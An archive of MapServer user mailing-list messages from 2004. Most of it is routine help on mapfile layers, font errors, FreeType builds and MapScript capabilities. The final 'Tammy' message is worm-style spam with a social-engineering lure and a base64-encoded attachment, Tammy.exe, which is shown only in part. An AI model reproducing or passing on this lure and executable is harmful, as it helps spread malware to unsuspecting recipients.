"C:/ms4w/apache/htdocs/demof/data/rm" DATA "CompleteChain" CLASS SYMBOL "circle" SIZE 1 COLOR 200 0 0 END END LAYER GROUP tigerdata NAME tiger5 TYPE POINT STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "C:/ms4w/apache/htdocs/demof/data/rm" DATA "Landmarks" CLASS SYMBOL "circle" SIZE 4 COLOR 0 200 0 END END LAYER GROUP tigerdata NAME tiger9 TYPE POINT <------------- may be error here also STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "C:/ms4w/apache/htdocs/demof/data/rm" DATA "EntityNames" CLASS SYMBOL "circle" <------------- definetely error here SIZE 1 COLOR 0 0 200 END END Now I am able to render the "CompleteChain " and "Landmarks " thats ok . The map comes clean . but here at the Last LAYER I am adding "EntityNames " but I am not able to check weather its correct or not to mention SYMBOL "circle" for this LAYER .And I am not getting any names displayed on map also . Hope some of u could advise me on this...... With regards and thanks in advance dharani _________________________________________________________________ Oscar fever is on! It's Hollywood's biggest party. http://server1.msn.co.in/sp04/oscars/index.asp Get all the dope here. From Darren.Cope@statcan.ca Mon Mar 1 13:56:31 2004 From: Darren.Cope@statcan.ca (Darren.Cope@statcan.ca) Date: Mon, 1 Mar 2004 08:56:31 -0500 Subject: [Mapserver-users] Researching the Capabilities of MapServer Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C3FF94.FFE656B3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello all, I am new to the world of MapServer, and have many questions, mostly regarding the capabilities of MapServer. At this point I am merely researching the possibility of using MapServer as a replacement for an existing ArcIMS setup. I have set up the basic Itasca demo, and have = it (mostly) working with some of our own data. From what I have seen, = basic .cgi MapServer is not able to perform many of the tasks necessary (see below). However, I am beginning to learn of the other available = projects (e.g. GeoServer, MapScript, etc.) that work with MapServer to do many = of these things. At this point, I have not used any of these other tools, = and no next to nothing about them (the MapServer that I have set up = currently allows only the basic .cgi functionality [pan, zoom, query] of the = Itasca Demo.) I would like to know if the features listed below are possible, = and if so, how I would go about implementing these features (e.g. do I need = PHP, dhtml, GeoServer, MapScript, etc., etc.) What I would like is a full featured application which can perform the following tasks: - search based on text field(s) and then zoom to matching record(s) (e.g. enter a city name and a street name, and zoom to that street) - geocode addresses (e.g. interpolate positions along a street based on from/to address ranges and zoom to that point) - search based on topology (e.g. find where two streets intersect and zoom to that location) - have an "identify" tool which pops up attributes of feature(s) when they are clicked on - measure distance between points selected by the user - draw buffers around a clicked point based on a user defined radius - highlight a selected feature and retain its highlighting until the user "clears" it Also, I would appreciate a brief run-down of the applications which = work with MapServer (e.g. GeoServer, MapScript, etc.), how they relate to MapServer (and each other), and what each one does. I realize this email covers a broad range of topics, and is asking a = lot--so thanks in advance for helping me out with all these questions! Darren Cope Statistics Canada/Statistique Canada Geography Division/Division de la g=E9ographie Jean Talon 3D5 Ottawa, Canada (613) 951-6461 ------_=_NextPart_001_01C3FF94.FFE656B3 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Researching the Capabilities of MapServer

Hello all,

I am new to the world of MapServer, = and have many questions, mostly regarding the capabilities of = MapServer.  At this point I am merely researching the possibility = of using MapServer as a replacement for an existing ArcIMS setup.  = I have set up the basic Itasca demo, and have it (mostly) working with = some of our own data.  From what I have seen, basic .cgi MapServer = is not able to perform many of the tasks necessary (see below).  = However, I am beginning to learn of the other available projects (e.g. = GeoServer, MapScript, etc.) that work with MapServer to do many of = these things.  At this point, I have not used any of these other = tools, and no next to nothing about them (the MapServer that I have set = up currently allows only the basic .cgi functionality [pan, zoom, = query] of the Itasca Demo.)  I would like to know if the features = listed below are possible, and if so, how I would go about implementing = these features (e.g. do I need PHP, dhtml, GeoServer, MapScript, etc., = etc.)

What I would like is a full featured = application which can perform the following tasks:

    -       = search based on text field(s) and then zoom to matching record(s)  = (e.g. enter a city name and a street name, and zoom to that = street)

    -       = geocode addresses (e.g. interpolate positions along a street based on = from/to address ranges and zoom to that point)

    -       = search based on topology (e.g. find where two streets intersect and = zoom to that location)
    -       have an = "identify" tool which pops up attributes of feature(s) when = they are clicked on
    -       measure distance between = points selected by the user
    -       draw buffers around a = clicked point based on a user defined radius
    -       highlight a selected = feature and retain its highlighting until the user "clears" = it

Also, I would appreciate a brief = run-down of the applications which work with MapServer (e.g. GeoServer, = MapScript, etc.), how they relate to MapServer (and each other), and = what each one does.

I realize this email covers a broad = range of topics, and is asking a lot--so thanks in advance for helping = me out with all these questions!

Darren Cope
Statistics Canada/Statistique = Canada
Geography Division/Division de = la g=E9ographie
Jean Talon 3D5
Ottawa, Canada
(613) 951-6461

------_=_NextPart_001_01C3FF94.FFE656B3-- From cz_toh@yahoo.com Mon Mar 1 14:30:07 2004 From: cz_toh@yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Mon, 1 Mar 2004 14:30:07 +0000 (GMT) Subject: [Mapserver-users] Help with example error Message-ID: <20040301143007.24427.qmail@web14006.mail.yahoo.com> When I try to run the tutorials that uses fonts with a Win32 pre-compiled binary, it always return the follow errors msGetLabelSize(): TrueType Font error. Could not find/open font MAP NAME EX2.1_ IMAGETYPE png EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 # LAEA #EXTENT -97.5 41.619778 -82.122902 49.38562 # Geographic SIZE 400 300 SHAPEPATH "data" SYMBOLSET "symbols/symbols35.sym" FONTSET "C:/Program Files/Apache Group/Apache2/htdocs/tutorial/fonts/fonts.list" WEB TEMPLATE 'example2-1.html' IMAGEPATH '/C:/Program Files/Apache Group/Apache2/htdocs/tmp/' IMAGEURL 'C:/Program Files/Apache Group/Apache2/htdocs/tmp/' END PROJECTION # This is Lambert Azimuthal Equal-Area projection for the # Continental U.S. # "proj=laea" # "ellps=clrk66" # "lat_0=45" # "lon_0=-100" # # Alternatively, you can specify an EPSG code. # This is the EPSG code for # Lambert Azimuthal Equal-Area projection for the U.S. "init=epsg:2163" # END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME states DATA states_ugl STATUS OFF TYPE POLYGON PROJECTION "init=epsg:4326" END CLASSITEM "CLASS" CLASS EXPRESSION 'land' SYMBOL 0 COLOR 232 232 232 END END # States polygon layer ends here LAYER # MODIS raster layer begins here NAME modis DATA "raster/mod09a12003161_ugl_ll_idxa.tif" STATUS DEFAULT TYPE RASTER OFFSITE 70 74 66 PROJECTION "init=epsg:4326" END END # MODIS raster layer ends here LAYER # LandSat WMS map from JPL (or from USGS) NAME LandSat TYPE RASTER OFFSITE 0 0 0 STATUS OFF CONNECTIONTYPE WMS CONNECTION "http://wms.jpl.nasa.gov/wms.cgi?REQUEST=map&LAYERS=us_landsat7&STYLES=&FORMAT=png&TRANSPARENT=true" #CONNECTION "http://gisdata.usgs.net/servlet/com.esri.wms.Esrimap?ServiceName=USGS_WMS_LANDSAT7&VERSION=1.0.0&REQUEST=map&Layers=LANDSAT7&SRS=EPSG:4326&REASPECT=false&Format=png&" METADATA "wms_title" "LandSat" "wms_name" "us_landsat7" "wms_server_version" "1.0.0" "wms_srs" "epsg:4326" "wms_format" "image/png" #"wms_title" "US_Landsat7" # "wms_srs" "epsg:4326" # "wms_connectiontimeout" "1000" END PROJECTION "init=epsg:4326" END END # LandSat WMS image ends here LAYER # Hydrography layer begins here NAME hydro TYPE POLYGON STATUS DEFAULT DATA hydrop_ugl PROJECTION "init=epsg:4326" END TOLERANCE 3 CLASSITEM 'FEATURE' CLASS NAME 'Lakes' EXPRESSION /(^B|^C|^L|^R)./ COLOR 72 64 254 END # CLASS CLASS NAME 'Rivers' EXPRESSION 'Stream' COLOR 136 128 255 END # CLASS CLASS NAME 'Wetlands' EXPRESSION 'Swamp or Marsh' COLOR 195 252 255 OUTLINECOLOR 195 252 255 SYMBOL 'circle' SIZE 0 END # CLASS END # LAYER LAYER # ROADS LAYER NAME cty_roads GROUP roads TYPE LINE STATUS DEFAULT DATA roads_ugl MAXSCALE 750000 PROJECTION "init=epsg:4326" END HEADER 'templates/roads_header.html' FOOTER 'templates/roads_footer.html' TOLERANCE 5 CLASSITEM 'CLASS1' CLASS NAME 'Minor Arterial Roads' EXPRESSION '3' COLOR 165 165 165 END # CLASS CLASS EXPRESSION '4' COLOR 210 210 210 END # CLASS END # ROADS LAYER LAYER # state highways begin here NAME state_hwy GROUP roads MAXSCALE 1500000 STATUS DEFAULT DATA roads_ugl TYPE LINE FILTERITEM 'CLASS1' FILTER '2' CLASS NAME 'Principal Arterial Roads' STYLE COLOR 255 0 0 SIZE 1 SYMBOL 'circle' END END PROJECTION "init=epsg:4326" END END # highways LAYER # interstate highways begin here NAME interstate GROUP roads # MAXSCALE 22500000 STATUS DEFAULT DATA roads_ugl TYPE LINE FILTERITEM 'CLASS1' FILTER '1' CLASS NAME "Interstate Hwy." STYLE COLOR 128 0 0 # SIZE 2 # SYMBOL 'circle' END END PROJECTION "init=epsg:4326" END END # highways LAYER # States line layer begins here NAME states DATA states_ugl STATUS DEFAULT TYPE LINE PROJECTION "init=epsg:4326" END CLASSITEM "CLASS" CLASS EXPRESSION 'land' SYMBOL 'line5' COLOR 64 64 64 SIZE 1 END END # States line layer ends here LAYER NAME roads_anno GROUP roads MAXSCALE 750000 STATUS DEFAULT DATA roads_ugl TYPE ANNOTATION LABELITEM "SIGN" CLASSITEM "CLASS1" CLASS EXPRESSION "3" STYLE COLOR 0 0 0 # dummy color SYMBOL 'symbols/sthwy.png' END LABEL MINFEATURESIZE 50 MINDISTANCE 150 POSITION CC SIZE TINY COLOR 0 0 0 END END CLASS EXPRESSION "2" STYLE COLOR 0 0 0 # dummy color SYMBOL 'symbols/ushwy.png' END LABEL MINFEATURESIZE 50 MINDISTANCE 150 POSITION CC SIZE TINY COLOR 0 0 0 END END PROJECTION "init=epsg:4326" END END # highway annotation LAYER NAME roads_anno1 GROUP roads STATUS DEFAULT DATA roads_ugl TYPE ANNOTATION LABELITEM "SIGN" CLASSITEM "CLASS1" CLASS EXPRESSION "1" STYLE COLOR 0 0 0 # dummy color SYMBOL 'symbols/interstate.png' END LABEL MINFEATURESIZE 20 MINDISTANCE 150 POSITION CC SIZE TINY COLOR 255 255 255 END END PROJECTION "init=epsg:4326" END END LAYER # States label layer begins here NAME states DATA states_ugl STATUS DEFAULT TYPE ANNOTATION PROJECTION "init=epsg:4326" END CLASSITEM "CLASS" LABELITEM "STATE" CLASS EXPRESSION 'land' COLOR -1 -1 -1 LABEL COLOR 132 31 31 SHADOWCOLOR 218 218 218 SHADOWSIZE 2 2 TYPE TRUETYPE FONT arial-bold SIZE 12 ANTIALIAS TRUE POSITION CL PARTIALS FALSE MINDISTANCE 300 BUFFER 0 END # end of label END # end of class END # States label layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file When I remove the TYPE,FONT and SIZE attribute the map is able to load perfectly but with it it returns the error The front file contains everything it needs to load Can someone help please? ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From eduardo@consultoria.eti.br Mon Mar 1 14:50:30 2004 From: eduardo@consultoria.eti.br (Eduardo Patto Kanegae) Date: Mon, 1 Mar 2004 11:50:30 -0300 Subject: [Mapserver-users] libgd was not built with FreeType font support Message-ID: <20040301145030.5213.qmail@hm47.locaweb.com.br> When trying to run $MapFile->draw() I'm getting: "Warning: [MapServer Error]: msGetLabelSize(): libgd was not built with FreeType font support in ..." The strange fact is that my CGI applications runs OK. --------------- I have MapServer CGI as MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE configured with : $ ./configure --prefix=/usr/local --without-jpeg --without-tiff --with-freetype --with-zlib --with-png --with-gd --with-xpm=/usr/X11R6/lib --with-pdf=/usr/local/mapserver-linux-distro/deps/PDFlib-5.0.2-Linux/bind/c --with-eppl --with-proj --with-threads --with-ogr --with-gdal --without-ming --with-wfs --with-wfsclient --with-wms -with-wmsclient --with-curl-config --with-curl --enable-ignore-missing-data --disable-debug --with-php=/usr/local/mapserver-linux-distro/deps/php-4.3.4 and PHPMapScript as MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE configured with: $ ./configure --prefix=/usr/local --without-aolserver --without-apache --enable-cli --disable-embed --without-nsapi --without-pi3web --without-servlet --enable-cgi --enable-force-cgi-redirect --enable-fastcgi --disable-debug --with-config-file-path=/etc --enable-safe-mode --disable-sigchild --enable-magic-quotes --enable-short-tags --disable-ipv6 --without-openssl --with-zlib --without-bz2 --enable-calendar --without-cpdflib --with-jpeg=/usr/local/bin --with-tiff=/usr/local/lib --without-crack --with-curl=/usr/local/lib --without-cyrus --without-db --enable-dba --without-gdbm --without-ndbm --without-dba --without-db3 --without-db2 --without-dbm --without-cdb --with-inifile --without-flatfile --enable-dbase --enable-dbx --enable-dio --without-dom --enable-exif --without-fbsql --without-fdftk --disable-filepro --without-fribidi--enable-ftp --with-cg=/usr --with-jpeg-dir=/usr/local/bin --with-freetype=/usr/lib --with-t1lib=/usr/include --with-gd --enable-gd-native-ttf --disable-gd-jis-conv --with-gettext=/usr/lib --without-gmp --without-hwapi --without-hyperwave --without-imap --without-kerberos --without-imap-ssl --without-informix --without-ingress --without-interbase --without-ircg --without-java --without-ldap --enable-mbstring --disable-mregex --without-libmbfl --without-mcal --without-mcrypt --without-mcve --with-mhash --with-mime-magic--without-mnogosearch --without-msession --without-msql --without-mssql --with-mysql --without-ncurses --without-oci8 --without-adabas --without-sapdb --without-solid --without-ibm-db2 --without-empress --without-birdstep --without-custom-odbc --without-iodbc --without-esoob --without-unixODBC --without-dbmaker --without-oracle --disable-overload --without-ovrimos --disable-pcntl --with-pcre-regex --without-pfpro --with-pgsql=/usr --disable-posix --without-pspell --without-qtdom --without-libedit --without-readline --without-recode --enable-session --with-mm --disable-shmop --without-snmp --disable-ucd-snmp-hack --enable-sockets --with-regex=system --without-swf --without -sybase --without-sybase-ct --disable-sysvmsg --disable-sysvsem --disable-sysvshm --disable-tokenizer --disable-wddx --enable-xml --disable-xslt --without-sablot-js --without-yaz --disable-yp --without-zip --with-pear thanks in advance. Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From Jean-Francois.Doyon@CCRS.NRCan.gc.ca Mon Mar 1 15:04:06 2004 From: Jean-Francois.Doyon@CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Mon, 1 Mar 2004 10:04:06 -0500 Subject: [Mapserver-users] Researching the Capabilities of MapServer Message-ID: <7CDD7B94357FD5119E800002A537C46E0B8B731F@s5-ccr-r1.ccrs.nrcan.gc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C3FF9E.70F436E3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Darren, =20 MapScript is basically the API to the mapserver core functionality. = There are bindings to many common languages, such as PHP, Python and Perl, = PHP being the most widely used one ... Personally I prefer Python. Reading = the MapScript documentation should give you a pretty good idea of what you = might achieve with it. GeoServer is an entirely different, Java-based = project. It is NOT a mapping server however, but an OGC WFS Server (See http://www.opengis.org/ for info on that). = Some people have had some success with Java MapScript lately I believe also = ... You could also look at http://deegree.sourceforge.net/ which provides a mapping server, but = over WMS only I think. =20 As to your specific functionality questions, you can achieve everything = but: =20 - Geocoding: You can use mapserver to display the results, but = mapserver itself is purely designed to render maps, so the geocoding (Figuring = out the coordinates from an address) itself would have to be done separately. = There are web services that offer such functionality (Such as our Postal Code lookup Service), although I guess you guys at stats can have much = better data than we do :) This is a good example of using MapScript to bind MapServer's functionality with external logic to extend it, and is a = common application. =20 - Topology searching: Don't think there is any functionality to do this = in the mapscript API. The idea comes up every once in a while that this = would be a nice to have, but some would argue as to whether this belongs in = the mapserver itself. Some good solutions would be to supplement MapServer = with PostGIS ( http://postgis.refractions.net = ) which provides topological functionality, binding somehow to GEOS = directly ( http://geos.refractions.net ), using the = Java Topology Suite, and so on, and once the desired location has been = figured out, use MapServer to display the map zoomed in to it. =20 Hope this helps, =20 Jean-Fran=E7ois Doyon=20 Internet Service Development and Systems Support / Soutien de = syst=E8mes et developement de services Internet=20 GeoAccess Division / Division G=E9oAcc=E8s=20 Canada Center for Remote Sensing / Centre canadien de = t=E9l=E9d=E9tection=20 Natural Resources Canada / Ressources naturelles Canada=20 Phone / T=E9l=E9phone: (613) 992-4902=20 Fax / T=E9l=E9copieur: (613) 947-2410=20 http://atlas.gc.ca =20 =20 =20 -----Original Message----- From: mapserver-users-admin@lists.gis.umn.edu [mailto:mapserver-users-admin@lists.gis.umn.edu]On Behalf Of Darren.Cope@statcan.ca Sent: Monday, March 01, 2004 8:57 AM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Researching the Capabilities of MapServer Hello all,=20 I am new to the world of MapServer, and have many questions, mostly regarding the capabilities of MapServer. At this point I am merely researching the possibility of using MapServer as a replacement for an existing ArcIMS setup. I have set up the basic Itasca demo, and have = it (mostly) working with some of our own data. From what I have seen, = basic .cgi MapServer is not able to perform many of the tasks necessary (see below). However, I am beginning to learn of the other available = projects (e.g. GeoServer, MapScript, etc.) that work with MapServer to do many = of these things. At this point, I have not used any of these other tools, = and no next to nothing about them (the MapServer that I have set up = currently allows only the basic .cgi functionality [pan, zoom, query] of the = Itasca Demo.) I would like to know if the features listed below are possible, = and if so, how I would go about implementing these features (e.g. do I need = PHP, dhtml, GeoServer, MapScript, etc., etc.) What I would like is a full featured application which can perform the following tasks:=20 - search based on text field(s) and then zoom to matching record(s) (e.g. enter a city name and a street name, and zoom to that street) - geocode addresses (e.g. interpolate positions along a street based on from/to address ranges and zoom to that point) - search based on topology (e.g. find where two streets intersect and zoom to that location)=20 - have an "identify" tool which pops up attributes of feature(s) = when they are clicked on=20 - measure distance between points selected by the user=20 - draw buffers around a clicked point based on a user defined = radius=20 - highlight a selected feature and retain its highlighting until = the user "clears" it=20 Also, I would appreciate a brief run-down of the applications which = work with MapServer (e.g. GeoServer, MapScript, etc.), how they relate to MapServer (and each other), and what each one does. I realize this email covers a broad range of topics, and is asking a = lot--so thanks in advance for helping me out with all these questions! Darren Cope=20 Statistics Canada/Statistique Canada=20 Geography Division/Division de la g=E9ographie=20 Jean Talon 3D5=20 Ottawa, Canada=20 (613) 951-6461=20 ------_=_NextPart_001_01C3FF9E.70F436E3 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Researching the Capabilities of MapServer
Darren,
 
MapScript is basically the API to the mapserver core = functionality. =20 There are bindings to many common languages, such as PHP, Python and = Perl, PHP=20 being the most widely used one ... Personally I prefer Python.  = Reading the=20 MapScript documentation should give you a pretty good idea of what you = might=20 achieve with it.  GeoServer is an entirely different,=20 Java-based project.  It is NOT a mapping server however, but = an OGC=20 WFS Server (See http://www.opengis.org/=20 for info on that).  Some people have had some success with Java = MapScript=20 lately I believe also ... You could also look at http://deegree.sourceforge.net/=  which=20 provides a mapping server, but over WMS only I = think.
 
As to=20 your specific functionality questions, you can achieve everything=20 but:
 
-=20 Geocoding: You can use mapserver to display the results, but mapserver = itself is=20 purely designed to render maps, so the geocoding (Figuring out the = coordinates=20 from an address) itself would have to be done separately.  = There are=20 web services that offer such functionality (Such as our Postal Code = lookup=20 Service), although I guess you guys at stats can have much better data = than we=20 do :) This is a good example of using MapScript to bind MapServer's=20 functionality with external logic to extend it, and is a common=20 application.
 
-=20 Topology searching: Don't think there is any functionality to do this = in the=20 mapscript API.  The idea comes up every once in a while that this = would be=20 a nice to have, but some would argue as to whether this belongs in the = mapserver=20 itself.  Some good solutions would be to supplement MapServer with = PostGIS=20 ( http://postgis.refractions.net )=20 which provides topological functionality, binding somehow to GEOS = directly ( http://geos.refractions.net ), = using the=20 Java Topology Suite, and so on, and once the desired location has been = figured=20 out, use MapServer to display the map zoomed in to = it.
 
Hope=20 this helps,
 

Jean-Fran=E7ois Doyon =
Internet Service Development and Systems = Support /=20 Soutien de syst=E8mes et developement de services Internet =
GeoAccess Division / Division = G=E9oAcc=E8s=20
Canada Center for Remote = Sensing / Centre=20 canadien de t=E9l=E9d=E9tection
Natural=20 Resources Canada /  Ressources naturelles Canada
Phone / T=E9l=E9phone: (613) = 992-4902
Fax / T=E9l=E9copieur: (613) = 947-2410
http://atlas.gc.ca

 
 
-----Original Message-----
From:=20 mapserver-users-admin@lists.gis.umn.edu=20 [mailto:mapserver-users-admin@lists.gis.umn.edu]On Behalf Of=20 Darren.Cope@statcan.ca
Sent: Monday, March 01, 2004 = 8:57=20 AM
To: mapserver-users@lists.gis.umn.edu
Subject: = [Mapserver-users] Researching the Capabilities of=20 MapServer

Hello all,

I am new to the world of MapServer, = and have=20 many questions, mostly regarding the capabilities of MapServer.  = At this=20 point I am merely researching the possibility of using MapServer as a = replacement for an existing ArcIMS setup.  I have set up the = basic Itasca=20 demo, and have it (mostly) working with some of our own data.  = >From what=20 I have seen, basic .cgi MapServer is not able to perform many of the = tasks=20 necessary (see below).  However, I am beginning to learn of the = other=20 available projects (e.g. GeoServer, MapScript, etc.) that work with = MapServer=20 to do many of these things.  At this point, I have not used any = of these=20 other tools, and no next to nothing about them (the MapServer that I = have set=20 up currently allows only the basic .cgi functionality [pan, zoom, = query] of=20 the Itasca Demo.)  I would like to know if the features listed = below are=20 possible, and if so, how I would go about implementing these features = (e.g. do=20 I need PHP, dhtml, GeoServer, MapScript, etc., etc.)

What I would like is a full = featured=20 application which can perform the following tasks:

    -       search=20 based on text field(s) and then zoom to matching record(s)  = (e.g. enter=20 a city name and a street name, and zoom to that street)

    -      =20 geocode addresses (e.g. interpolate positions along a street based = on=20 from/to address ranges and zoom to that point)

    -       search=20 based on topology (e.g. find where two streets intersect and zoom = to that=20 location)
    -       have = an=20 "identify" tool which pops up attributes of feature(s) when they = are clicked=20 on
    -       = measure=20 distance between points selected by the user
    -       draw = buffers=20 around a clicked point based on a user defined radius =
    -       = highlight a=20 selected feature and retain its highlighting until the user = "clears"=20 it

Also, I would appreciate a brief = run-down of=20 the applications which work with MapServer (e.g. GeoServer, = MapScript, etc.),=20 how they relate to MapServer (and each other), and what each one=20 does.

I realize this email covers a broad = range of=20 topics, and is asking a lot--so thanks in advance for helping me out = with all=20 these questions!

Darren Cope =
Statistics Canada/Statistique = Canada=20
Geography Division/Division = de la=20 g=E9ographie
Jean = Talon 3D5=20
Ottawa, Canada =
(613) 951-6461 =

------_=_NextPart_001_01C3FF9E.70F436E3-- From kames@keyspanenergy.com Mon Mar 1 16:33:19 2004 From: kames@keyspanenergy.com (kames@keyspanenergy.com) Date: Mon, 01 Mar 2004 10:33:19 -0600 Subject: [Mapserver-users] Tammy Message-ID: ----------lldoemeixdgjjmjycago Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I enjoy clean conversations but am open to conversing with women and men with little ones as well. I am very open-minded. All authorization requests will be denied if I don't receive messages and get to know you first. ----------lldoemeixdgjjmjycago Content-Type: application/octet-stream; name="Tammy.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Tammy.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADOonn7isMXqIrDF6iKwxeoisMXqInDF6gE3ASousMXqGLc EqiLwxeoduMFqIvDF6hNxRGoi8MXqFJpY2iKwxeoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA UEUAAEwBBQAAAAAAAAAAAAAAAADgAA8BCwEAAAAOAAAAgAAAAAAAAACwAAAAEAAAACAAAAAA QAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAAAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAxsgAA0QAAAACgAABgDwAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACAAAKwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAADgAAAAAAAAQNAAAAEAAAAAAAAAAA AAAAAAAAAAAAAAAAAABAAADAAAYAAAAAAACKBAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA QAAAwABmAAAAAAAA9GgAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAGAP AAAAoAAAABAAAAAEAAAAAAAAAAAAAAAAAQBAAADAAAAAAAAAAAAAUAAAALAAAABEAAAAFAAA AAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoKAAAKgOAAAAAAAAAAAAAEivAAAUAAAAAAAAAAAAAAAoAAAA MAAAAGAAAAABAAgAAAAAAIAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAnP//AKX/ /wCt//8Atf//AL3//wDG//8Azv//ANb//wDe//8A5///AO///wD3//8AjPv/AJT7/wCt+/8A e+/3AIz3/wDG+/8Azvv/AITz/wCM8/8AnO/3AKX3/wC19/8A1vv/AHPn9wCE7/8AnPP/AN77 /wBKz+cAY9vvAHvr/wCM7/8AjOf3AK3z/wBaz+cAa9/3AITr/wCc7/8Ape//ALXz/wDO9/8A 5/v/ADm+3gBCx+cAa8/nAITn/wCU6/8AjNvvAM7v9wAptt4AMbreADGevQBSz+8AWs/vAGPX 9wBr0+8Ae+P/AHvP5wCM5/8Aref3ALXv/wDG8/8AAJ7OAACWxgAIns4ACJK9AAiKtQAQptYA GKrWABiOtQAhst4AKbLeACmu1gAhhqUAOb7nADGCnABKut4AUr7eAFq+3gBz3/8Ae9//AITP 5wCl4/cArd/vAL3v/wDG6/cA3vf/AACazgAAksYACI69ABCi1gAQns4AEH2lABiq3gAYptYA IabWABh5nAAhos4AKa7eACGKrQAxtucAMbLeADmy3gBCw+8AKXmUAEK23gBKw+8ASrbeAFrP 9wBSut4AOX2UAFrD5wBr1/8Aa9P3AGO+3gBz2/8Aa8fnAHPP7wB7y+cAhNPvAJzf9wCl5/8A pdvvAO/7/wAhqt4AKareAEKy3gBSx/cAUr7nAGPT/wBavucAY8fvAHPX/wBrw+cAe9P3AITX 9wCM0+8AnNfvAL3n9wDG7/8A1vP/AGPP/wBr0/8AnNv3ALXj9wBKvvcAY8v/AJTX9wCt3/cA zu//AOf3/wC94/cA3vP/ANbv/wDv9/8A9/v/AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 